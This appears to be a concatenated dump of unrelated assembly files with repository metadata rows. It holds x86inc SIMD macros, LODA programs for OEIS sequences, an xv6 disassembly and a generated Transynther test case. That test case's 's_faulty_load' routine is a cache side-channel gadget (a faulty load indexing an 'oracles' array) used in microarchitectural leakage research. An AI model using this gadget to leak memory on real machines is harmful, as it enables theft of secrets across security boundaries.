; base-4 constants for shuffles
%assign i 0
%rep 256
%assign j ((i>>6)&3)*1000 + ((i>>4)&3)*100 + ((i>>2)&3)*10 + (i&3)
%if j < 10
CAT_XDEFINE q000, j, i
%elif j < 100
CAT_XDEFINE q00, j, i
%elif j < 1000
CAT_XDEFINE q0, j, i
%else
CAT_XDEFINE q, j, i
%endif
%assign i i+1
%endrep
%undef i
%undef j
%macro FMA_INSTR 3
%macro %1 4-7 %1, %2, %3
%if cpuflag(xop)
v%5 %1, %2, %3, %4
%elifnidn %1, %4
%6 %1, %2, %3
%7 %1, %4
%else
%error non-xop emulation of ``%5 %1, %2, %3, %4'' is not supported
%endif
%endmacro
%endmacro
FMA_INSTR pmacsww, pmullw, paddw
FMA_INSTR pmacsdd, pmulld, paddd ; sse4 emulation
FMA_INSTR pmacsdql, pmuldq, paddq ; sse4 emulation
FMA_INSTR pmadcswd, pmaddwd, paddd
; Macros for consolidating FMA3 and FMA4 using 4-operand (dst, src1, src2, src3) syntax.
; FMA3 is only possible if dst is the same as one of the src registers.
; Either src2 or src3 can be a memory operand.
%macro FMA4_INSTR 2-*
%push fma4_instr
%xdefine %$prefix %1
%rep %0 - 1
%macro %$prefix%2 4-6 %$prefix, %2
%if notcpuflag(fma3) && notcpuflag(fma4)
%error use of ``%5%6'' fma instruction in cpuname function: current_function
%elif cpuflag(fma4)
v%5%6 %1, %2, %3, %4
%elifidn %1, %2
; If %3 or %4 is a memory operand it needs to be encoded as the last operand.
%ifnum sizeof%3
v%{5}213%6 %2, %3, %4
%else
v%{5}132%6 %2, %4, %3
%endif
%elifidn %1, %3
v%{5}213%6 %3, %2, %4
%elifidn %1, %4
v%{5}231%6 %4, %2, %3
%else
%error fma3 emulation of ``%5%6 %1, %2, %3, %4'' is not supported
%endif
%endmacro
%rotate 1
%endrep
%pop
%endmacro
FMA4_INSTR fmadd, pd, ps, sd, ss
FMA4_INSTR fmaddsub, pd, ps
FMA4_INSTR fmsub, pd, ps, sd, ss
FMA4_INSTR fmsubadd, pd, ps
FMA4_INSTR fnmadd, pd, ps, sd, ss
FMA4_INSTR fnmsub, pd, ps, sd, ss
; Macros for converting VEX instructions to equivalent EVEX ones.
%macro EVEX_INSTR 2-3 0 ; vex, evex, prefer_evex
%macro %1 2-7 fnord, fnord, %1, %2, %3
%ifidn %3, fnord
%define %%args %1, %2
%elifidn %4, fnord
%define %%args %1, %2, %3
%else
%define %%args %1, %2, %3, %4
%endif
%assign %%evex_required cpuflag(avx512) & %7
%ifnum regnumof%1
%if regnumof%1 >= 16 || sizeof%1 > 32
%assign %%evex_required 1
%endif
%endif
%ifnum regnumof%2
%if regnumof%2 >= 16 || sizeof%2 > 32
%assign %%evex_required 1
%endif
%endif
%ifnum regnumof%3
%if regnumof%3 >= 16 || sizeof%3 > 32
%assign %%evex_required 1
%endif
%endif
%if %%evex_required
%6 %%args
%else
%5 %%args ; Prefer VEX over EVEX due to shorter instruction length
%endif
%endmacro
%endmacro
EVEX_INSTR vbroadcastf128, vbroadcastf32x4
EVEX_INSTR vbroadcasti128, vbroadcasti32x4
EVEX_INSTR vextractf128, vextractf32x4
EVEX_INSTR vextracti128, vextracti32x4
EVEX_INSTR vinsertf128, vinsertf32x4
EVEX_INSTR vinserti128, vinserti32x4
EVEX_INSTR vmovdqa, vmovdqa32
EVEX_INSTR vmovdqu, vmovdqu32
EVEX_INSTR vpand, vpandd
EVEX_INSTR vpandn, vpandnd
EVEX_INSTR vpor, vpord
EVEX_INSTR vpxor, vpxord
EVEX_INSTR vrcpps, vrcp14ps, 1 ; EVEX versions have higher precision
EVEX_INSTR vrcpss, vrcp14ss, 1
EVEX_INSTR vrsqrtps, vrsqrt14ps, 1
EVEX_INSTR vrsqrtss, vrsqrt14ss, 1
| 29.692861 | 150 | 0.616513 | [
"BSD-2-Clause"
] | MAD5D/test | src/ext/x86/x86inc.asm | 53,655 | Assembly |
; A209295: Antidiagonal sums of the gcd(.,.) array A109004.
; 0,2,5,8,12,14,21,20,28,30,37,32,52,38,53,60,64,50,81,56,92,86,85,68,124,90,101,108,132,86,165,92,144,138,133,152,204,110,149,164,220,122,237,128,212,234,181,140,288,182,245,216,252,158,297,244,316,242,229,176,420,182,245,336,320,290,381,200,332,294,421,212,492,218,293,400,372,350,453,236,512,378,325,248,604,382,341,372,508,266,657,416,452,398,373,428,656,290,497,540,620,302,597,308,604,690,421,320,756,326,677,476,736,338,669,520,572,642,469,548,1020,462,485,528,612,550,945,380,704,554,805,392,972,614,533,864,796,410,813,416,1076,606,565,668,1152,658,581,812,732,446,1125,452,892,846,973,704,1156,470,629,684,1168,746,1053,488,812,1110,661,500,1468,650,1061,948,852,518,1029,1020,1184,762,709,536,1692,542,1157,788,1084,842,1101,880,932,1242,1189,572,1472,578,773,1320,1260,590,1521,596,1500,866,805,944,1524,934,821,1152,1408,986,1965,632,1052,918,853,980,1836,1010,869,944,1732,1046,1317,668,1680,1590,901,680,1708,686,1445,1596,1372,698,1809,1072,1172,1022,1525,716,2400,722,1265,1296,1212,1442,1461,1172,1468,1074
mov $10,$0
mov $12,2
lpb $12
clr $0,10
mov $0,$10
sub $12,1
add $0,$12
sub $0,1
mov $7,$0
mov $9,$0
add $9,1
lpb $9
mov $0,$7
sub $9,1
sub $0,$9
mov $3,3
mov $6,$0
lpb $0
sub $0,1
add $3,2
mov $5,$6
gcd $5,$0
add $5,$3
mov $4,$5
sub $4,1
mov $3,$4
lpe
pow $4,0
mov $5,5
sub $5,$3
sub $4,$5
add $4,1
mov $1,$4
add $1,1
add $8,$1
lpe
mov $1,$8
mov $13,$12
lpb $13
mov $11,$1
sub $13,1
lpe
lpe
lpb $10
mov $10,0
sub $11,$1
lpe
mov $1,$11
sub $1,1
| 31.660377 | 1,024 | 0.632896 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/209/A209295.asm | 1,678 | Assembly |
; A270473: Expansion of (1-5*x)/(1-9*x).
; 1,4,36,324,2916,26244,236196,2125764,19131876,172186884,1549681956,13947137604,125524238436,1129718145924,10167463313316,91507169819844,823564528378596,7412080755407364,66708726798666276,600378541187996484,5403406870691968356,48630661836227715204,437675956526049436836,3939083608734444931524,35451752478610004383716,319065772307490039453444,2871591950767410355080996,25844327556906693195728964,232598948012160238761560676,2093390532109442148854046084,18840514788984979339686414756,169564633100864814057177732804,1526081697907783326514599595236,13734735281170049938631396357124,123612617530530449447682567214116,1112513557774774045029143104927044,10012622019972966405262287944343396,90113598179756697647360591499090564,811022383617810278826245323491815076
mov $1,9
pow $1,$0
sub $1,1
mul $1,4
div $1,9
add $1,1
mov $0,$1
| 78.545455 | 756 | 0.896991 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/270/A270473.asm | 864 | Assembly |
; A099483: A Fibonacci convolution.
; 0,1,3,7,18,48,126,329,861,2255,5904,15456,40464,105937,277347,726103,1900962,4976784,13029390,34111385,89304765,233802911,612103968,1602508992,4195423008,10983760033,28755857091,75283811239,197095576626
mov $4,2
mov $5,$0
lpb $4,1
mov $0,$5
sub $4,1
add $0,$4
sub $0,1
mov $3,8
mov $6,11
lpb $0,1
sub $0,1
add $3,1
add $3,$6
add $6,$3
lpe
mov $2,$4
div $3,12
lpb $2,1
mov $1,$3
sub $2,1
lpe
lpe
lpb $5,1
sub $1,$3
mov $5,0
lpe
| 17.266667 | 204 | 0.629344 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/099/A099483.asm | 518 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x14ba3, %rsi
lea addresses_WT_ht+0x16be3, %rdi
nop
nop
nop
inc %r13
mov $109, %rcx
rep movsw
nop
nop
inc %r12
lea addresses_A_ht+0x14557, %rsi
lea addresses_UC_ht+0xdc23, %rdi
dec %rbp
mov $38, %rcx
rep movsl
nop
nop
and %r12, %r12
lea addresses_A_ht+0x11ea2, %rsi
lea addresses_normal_ht+0x54cb, %rdi
nop
nop
nop
inc %r13
mov $25, %rcx
rep movsq
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_D_ht+0x108bd, %rsi
lea addresses_UC_ht+0x1a7b, %rdi
lfence
mov $66, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp $184, %rcx
lea addresses_D_ht+0x11493, %rcx
nop
nop
sub %rsi, %rsi
mov (%rcx), %edx
nop
nop
nop
nop
nop
inc %rsi
lea addresses_D_ht+0x1e8b3, %r13
nop
xor %rcx, %rcx
movb (%r13), %dl
nop
cmp %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %rax
push %rbx
push %rcx
push %rdx
// Faulty Load
lea addresses_US+0x18ba3, %r15
nop
nop
nop
sub $54009, %rcx
mov (%r15), %r8w
lea oracles, %rbx
and $0xff, %r8
shlq $12, %r8
mov (%rbx,%r8,1), %r8
pop %rdx
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_US', 'same': False, 'AVXalign': False, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_US', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 1}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': True, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 43.894309 | 2,999 | 0.662345 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/US/_zr_/i9-9900K_12_0xca.log_21829_166.asm | 5,399 | Assembly |
_loop: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
#include "fs.h"
int main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 10 sub $0x10,%esp
for(volatile int i = 1; i<=50000;i++)
6: c7 45 fc 01 00 00 00 movl $0x1,-0x4(%ebp)
d: 8b 45 fc mov -0x4(%ebp),%eax
10: 3d 50 c3 00 00 cmp $0xc350,%eax
15: 7f 1c jg 33 <main+0x33>
17: 89 f6 mov %esi,%esi
19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
20: 8b 45 fc mov -0x4(%ebp),%eax
23: 83 c0 01 add $0x1,%eax
26: 89 45 fc mov %eax,-0x4(%ebp)
29: 8b 45 fc mov -0x4(%ebp),%eax
2c: 3d 50 c3 00 00 cmp $0xc350,%eax
31: 7e ed jle 20 <main+0x20>
{
}
}
33: 31 c0 xor %eax,%eax
35: c9 leave
36: c3 ret
37: 66 90 xchg %ax,%ax
39: 66 90 xchg %ax,%ax
3b: 66 90 xchg %ax,%ax
3d: 66 90 xchg %ax,%ax
3f: 90 nop
00000040 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
40: 55 push %ebp
41: 89 e5 mov %esp,%ebp
43: 53 push %ebx
44: 8b 45 08 mov 0x8(%ebp),%eax
47: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
4a: 89 c2 mov %eax,%edx
4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
50: 83 c1 01 add $0x1,%ecx
53: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
57: 83 c2 01 add $0x1,%edx
5a: 84 db test %bl,%bl
5c: 88 5a ff mov %bl,-0x1(%edx)
5f: 75 ef jne 50 <strcpy+0x10>
;
return os;
}
61: 5b pop %ebx
62: 5d pop %ebp
63: c3 ret
64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000070 <strcmp>:
int
strcmp(const char *p, const char *q)
{
70: 55 push %ebp
71: 89 e5 mov %esp,%ebp
73: 56 push %esi
74: 53 push %ebx
75: 8b 55 08 mov 0x8(%ebp),%edx
78: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
7b: 0f b6 02 movzbl (%edx),%eax
7e: 0f b6 19 movzbl (%ecx),%ebx
81: 84 c0 test %al,%al
83: 75 1e jne a3 <strcmp+0x33>
85: eb 29 jmp b0 <strcmp+0x40>
87: 89 f6 mov %esi,%esi
89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
90: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
93: 0f b6 02 movzbl (%edx),%eax
p++, q++;
96: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
99: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
9d: 84 c0 test %al,%al
9f: 74 0f je b0 <strcmp+0x40>
a1: 89 f1 mov %esi,%ecx
a3: 38 d8 cmp %bl,%al
a5: 74 e9 je 90 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
a7: 29 d8 sub %ebx,%eax
}
a9: 5b pop %ebx
aa: 5e pop %esi
ab: 5d pop %ebp
ac: c3 ret
ad: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
b0: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
b2: 29 d8 sub %ebx,%eax
}
b4: 5b pop %ebx
b5: 5e pop %esi
b6: 5d pop %ebp
b7: c3 ret
b8: 90 nop
b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000000c0 <strlen>:
uint
strlen(const char *s)
{
c0: 55 push %ebp
c1: 89 e5 mov %esp,%ebp
c3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
c6: 80 39 00 cmpb $0x0,(%ecx)
c9: 74 12 je dd <strlen+0x1d>
cb: 31 d2 xor %edx,%edx
cd: 8d 76 00 lea 0x0(%esi),%esi
d0: 83 c2 01 add $0x1,%edx
d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
d7: 89 d0 mov %edx,%eax
d9: 75 f5 jne d0 <strlen+0x10>
;
return n;
}
db: 5d pop %ebp
dc: c3 ret
uint
strlen(const char *s)
{
int n;
for(n = 0; s[n]; n++)
dd: 31 c0 xor %eax,%eax
;
return n;
}
df: 5d pop %ebp
e0: c3 ret
e1: eb 0d jmp f0 <memset>
e3: 90 nop
e4: 90 nop
e5: 90 nop
e6: 90 nop
e7: 90 nop
e8: 90 nop
e9: 90 nop
ea: 90 nop
eb: 90 nop
ec: 90 nop
ed: 90 nop
ee: 90 nop
ef: 90 nop
000000f0 <memset>:
void*
memset(void *dst, int c, uint n)
{
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 57 push %edi
f4: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
f7: 8b 4d 10 mov 0x10(%ebp),%ecx
fa: 8b 45 0c mov 0xc(%ebp),%eax
fd: 89 d7 mov %edx,%edi
ff: fc cld
100: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
102: 89 d0 mov %edx,%eax
104: 5f pop %edi
105: 5d pop %ebp
106: c3 ret
107: 89 f6 mov %esi,%esi
109: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000110 <strchr>:
char*
strchr(const char *s, char c)
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 53 push %ebx
114: 8b 45 08 mov 0x8(%ebp),%eax
117: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
11a: 0f b6 10 movzbl (%eax),%edx
11d: 84 d2 test %dl,%dl
11f: 74 1d je 13e <strchr+0x2e>
if(*s == c)
121: 38 d3 cmp %dl,%bl
123: 89 d9 mov %ebx,%ecx
125: 75 0d jne 134 <strchr+0x24>
127: eb 17 jmp 140 <strchr+0x30>
129: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
130: 38 ca cmp %cl,%dl
132: 74 0c je 140 <strchr+0x30>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
134: 83 c0 01 add $0x1,%eax
137: 0f b6 10 movzbl (%eax),%edx
13a: 84 d2 test %dl,%dl
13c: 75 f2 jne 130 <strchr+0x20>
if(*s == c)
return (char*)s;
return 0;
13e: 31 c0 xor %eax,%eax
}
140: 5b pop %ebx
141: 5d pop %ebp
142: c3 ret
143: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000150 <gets>:
char*
gets(char *buf, int max)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 57 push %edi
154: 56 push %esi
155: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
156: 31 f6 xor %esi,%esi
cc = read(0, &c, 1);
158: 8d 7d e7 lea -0x19(%ebp),%edi
return 0;
}
char*
gets(char *buf, int max)
{
15b: 83 ec 1c sub $0x1c,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
15e: eb 29 jmp 189 <gets+0x39>
cc = read(0, &c, 1);
160: 83 ec 04 sub $0x4,%esp
163: 6a 01 push $0x1
165: 57 push %edi
166: 6a 00 push $0x0
168: e8 2d 01 00 00 call 29a <read>
if(cc < 1)
16d: 83 c4 10 add $0x10,%esp
170: 85 c0 test %eax,%eax
172: 7e 1d jle 191 <gets+0x41>
break;
buf[i++] = c;
174: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
178: 8b 55 08 mov 0x8(%ebp),%edx
17b: 89 de mov %ebx,%esi
if(c == '\n' || c == '\r')
17d: 3c 0a cmp $0xa,%al
for(i=0; i+1 < max; ){
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
17f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
183: 74 1b je 1a0 <gets+0x50>
185: 3c 0d cmp $0xd,%al
187: 74 17 je 1a0 <gets+0x50>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
189: 8d 5e 01 lea 0x1(%esi),%ebx
18c: 3b 5d 0c cmp 0xc(%ebp),%ebx
18f: 7c cf jl 160 <gets+0x10>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
191: 8b 45 08 mov 0x8(%ebp),%eax
194: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
198: 8d 65 f4 lea -0xc(%ebp),%esp
19b: 5b pop %ebx
19c: 5e pop %esi
19d: 5f pop %edi
19e: 5d pop %ebp
19f: c3 ret
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1a0: 8b 45 08 mov 0x8(%ebp),%eax
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1a3: 89 de mov %ebx,%esi
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1a5: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
1a9: 8d 65 f4 lea -0xc(%ebp),%esp
1ac: 5b pop %ebx
1ad: 5e pop %esi
1ae: 5f pop %edi
1af: 5d pop %ebp
1b0: c3 ret
1b1: eb 0d jmp 1c0 <stat>
1b3: 90 nop
1b4: 90 nop
1b5: 90 nop
1b6: 90 nop
1b7: 90 nop
1b8: 90 nop
1b9: 90 nop
1ba: 90 nop
1bb: 90 nop
1bc: 90 nop
1bd: 90 nop
1be: 90 nop
1bf: 90 nop
000001c0 <stat>:
int
stat(const char *n, struct stat *st)
{
1c0: 55 push %ebp
1c1: 89 e5 mov %esp,%ebp
1c3: 56 push %esi
1c4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1c5: 83 ec 08 sub $0x8,%esp
1c8: 6a 00 push $0x0
1ca: ff 75 08 pushl 0x8(%ebp)
1cd: e8 f0 00 00 00 call 2c2 <open>
if(fd < 0)
1d2: 83 c4 10 add $0x10,%esp
1d5: 85 c0 test %eax,%eax
1d7: 78 27 js 200 <stat+0x40>
return -1;
r = fstat(fd, st);
1d9: 83 ec 08 sub $0x8,%esp
1dc: ff 75 0c pushl 0xc(%ebp)
1df: 89 c3 mov %eax,%ebx
1e1: 50 push %eax
1e2: e8 f3 00 00 00 call 2da <fstat>
1e7: 89 c6 mov %eax,%esi
close(fd);
1e9: 89 1c 24 mov %ebx,(%esp)
1ec: e8 b9 00 00 00 call 2aa <close>
return r;
1f1: 83 c4 10 add $0x10,%esp
1f4: 89 f0 mov %esi,%eax
}
1f6: 8d 65 f8 lea -0x8(%ebp),%esp
1f9: 5b pop %ebx
1fa: 5e pop %esi
1fb: 5d pop %ebp
1fc: c3 ret
1fd: 8d 76 00 lea 0x0(%esi),%esi
int fd;
int r;
fd = open(n, O_RDONLY);
if(fd < 0)
return -1;
200: b8 ff ff ff ff mov $0xffffffff,%eax
205: eb ef jmp 1f6 <stat+0x36>
207: 89 f6 mov %esi,%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <atoi>:
return r;
}
int
atoi(const char *s)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 53 push %ebx
214: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
217: 0f be 11 movsbl (%ecx),%edx
21a: 8d 42 d0 lea -0x30(%edx),%eax
21d: 3c 09 cmp $0x9,%al
21f: b8 00 00 00 00 mov $0x0,%eax
224: 77 1f ja 245 <atoi+0x35>
226: 8d 76 00 lea 0x0(%esi),%esi
229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
230: 8d 04 80 lea (%eax,%eax,4),%eax
233: 83 c1 01 add $0x1,%ecx
236: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
23a: 0f be 11 movsbl (%ecx),%edx
23d: 8d 5a d0 lea -0x30(%edx),%ebx
240: 80 fb 09 cmp $0x9,%bl
243: 76 eb jbe 230 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
245: 5b pop %ebx
246: 5d pop %ebp
247: c3 ret
248: 90 nop
249: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000250 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
250: 55 push %ebp
251: 89 e5 mov %esp,%ebp
253: 56 push %esi
254: 53 push %ebx
255: 8b 5d 10 mov 0x10(%ebp),%ebx
258: 8b 45 08 mov 0x8(%ebp),%eax
25b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
25e: 85 db test %ebx,%ebx
260: 7e 14 jle 276 <memmove+0x26>
262: 31 d2 xor %edx,%edx
264: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
268: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
26c: 88 0c 10 mov %cl,(%eax,%edx,1)
26f: 83 c2 01 add $0x1,%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
272: 39 da cmp %ebx,%edx
274: 75 f2 jne 268 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
276: 5b pop %ebx
277: 5e pop %esi
278: 5d pop %ebp
279: c3 ret
0000027a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
27a: b8 01 00 00 00 mov $0x1,%eax
27f: cd 40 int $0x40
281: c3 ret
00000282 <exit>:
SYSCALL(exit)
282: b8 02 00 00 00 mov $0x2,%eax
287: cd 40 int $0x40
289: c3 ret
0000028a <wait>:
SYSCALL(wait)
28a: b8 03 00 00 00 mov $0x3,%eax
28f: cd 40 int $0x40
291: c3 ret
00000292 <pipe>:
SYSCALL(pipe)
292: b8 04 00 00 00 mov $0x4,%eax
297: cd 40 int $0x40
299: c3 ret
0000029a <read>:
SYSCALL(read)
29a: b8 05 00 00 00 mov $0x5,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <write>:
SYSCALL(write)
2a2: b8 10 00 00 00 mov $0x10,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <close>:
SYSCALL(close)
2aa: b8 15 00 00 00 mov $0x15,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <kill>:
SYSCALL(kill)
2b2: b8 06 00 00 00 mov $0x6,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <exec>:
SYSCALL(exec)
2ba: b8 07 00 00 00 mov $0x7,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
